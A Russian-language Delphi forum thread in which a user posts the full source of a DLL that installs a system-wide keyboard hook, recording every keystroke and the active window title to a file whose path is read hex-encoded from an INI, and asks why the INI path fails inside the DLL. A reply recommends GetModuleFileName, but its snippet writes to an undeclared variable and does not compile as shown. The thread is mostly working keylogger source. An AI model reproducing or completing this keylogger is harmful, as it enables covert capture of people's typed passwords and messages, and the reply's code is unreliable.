Модераторы: Poseidon, Snowy, bems, MetalFan
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Использование INI в DLL. Проблема. 
:(
    Опции темы
ZaDoXliK
  Дата 18.7.2011, 19:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 23
Регистрация: 1.12.2007
Где: Украина

Репутация: нет
Всего: нет



Есть хук на клавиатуру, с последующей записью клавиш и имени окна в котором была нажата клавиша.
Код

library Keyboard;
uses
  Windows, Messages, SysUtils,IniFiles;

const
  HookMsg = WM_USER+$125;

var
  CurHook:HWND;
  B:array[0..255] of char;
  Key:array[0..255] of char;
  KeyName:Array[0..255] of char;
  KS: TKeyboardState;
  F,W:TextFile;
  WNDName,T,FPath:String;
  INI:TIniFile;
  FulPath:string;

{Функция которая преобразует HEX в String}
Function UnHex(UnHe:String):String;
Var
  I:Integer;
  S,Q:String;
Begin
    For I:=1 to Length(UnHe)DIV 2 do
      Begin
      S:=Copy(UnHe,1,2);
      Q:=Q+Chr(StrToInt('$'+S));
      Delete(UnHe,1,2);
      S:='';
      End;
Result:=Q;
End;

function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
Begin
  if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
    begin
      try
{Файл настроек с которого будет читаться путь к файлу для записи клавиш}
      INI:=TIniFile.Create(ExtractFilePath(paramstr(0))+'\Config.ini'); 
      FPath:=UnHex(Ini.ReadString('Path config','Path','C:\Windows'));

{Полный путь к файлу с именем файла}
      FulPath:=FPath+'\Key.txt';
      INI.Free;
      except
      on E:Exception do
      begin

{Записываем в лог ошибки если есть}
      AssignFile(W,'C:\Temp\Log.txt');
      If FileExists('C:\Temp\Log.txt')then Append(W)else Rewrite(W);
      Writeln(W,TimeToStr(Time));
      Writeln(W,E.message);
      CloseFile(W);
      end;
      end;
      AssignFile(F,FulPath);
      T:=TimeToStr(Time);
      GetKeyboardState(KS);
      GetWindowText(GetForegroundWindow,B,SizeOf(B));
      GetKeyNameText(lParam,KeyName,SizeOf(KeyName));
      ToASCII(WParam,LParam,KS,Key,SizeOf(Key));
      If FileExists(FulPath) then Append(F) else Rewrite(F);
       If B=WNDName then Write(F,Key) else
          begin
          WriteLn(F,#$0D#$0A);
          WriteLn(F,T);
          WriteLn(F,B);
          Write(F,Key);
          end;
      WNDName:=B;
      CloseFile(F);
      Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
      end;
Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
end;

procedure hook(Switch: Boolean) export; stdcall;
begin
  if switch=true then
  CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0)
  else
end;

exports hook;
begin
end.


В принципе всё просто.
Сначала грешил на функцию UnHex, но переделал всё это дело не в dll, а в exe и всё работает корректно.
Подскажите в чём может быть проблема?
Ошибка вылетает вот такая:
Из логов '$C:' is not a valid integer value
Сделав небольшой опыт, а собственно указав полный путь к INI файлу в строке
Код

INI:=TIniFile.Create('C:\Windows\System32\Config.ini');

Всё работает корректно.

Мои мысли....
Получается что DLL считывая путь таким образом 
Код

INI:=TIniFile.Create(ExtractFilePath(paramstr(0))+'\Config.ini');

в результате получает путь к тому приложению в котором на данный момент перехватываются клавиши.

Это сообщение отредактировал(а) ZaDoXliK - 18.7.2011, 20:20
PM MAIL   Вверх
dvamaster
Дата 19.7.2011, 05:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 559
Регистрация: 30.6.2004
Где: Россия : Курган

Репутация: 3
Всего: 10



Цитата(ZaDoXliK @  18.7.2011,  22:35 Найти цитируемый пост)
ExtractFilePath(paramstr(0))

А какой параметр можно передать DLL? Никакой!!!
Так что воспользуйся лучше GetModuleFileName

Код

function GetDLLFileName: String;
var
  r: array [0..1024] of Char;
begin
  GetModuleFileName(HInstance, @fn, 1024);
  Result := r
end;


Эта функция и в EXE сработает

Это сообщение отредактировал(а) dvamaster - 19.7.2011, 05:41


--------------------
Хорошую информацию трудно добыть. Сделать с ней что-нибудь - еще труднее. /L. Skywalker/

Что же я сделал не так? /Король Лир/

Я делаю это для твоего же блага! /Любой родитель и палач/

PKUNZIP.ZIP /неизвестный/
PM MAIL WWW ICQ   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0485 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.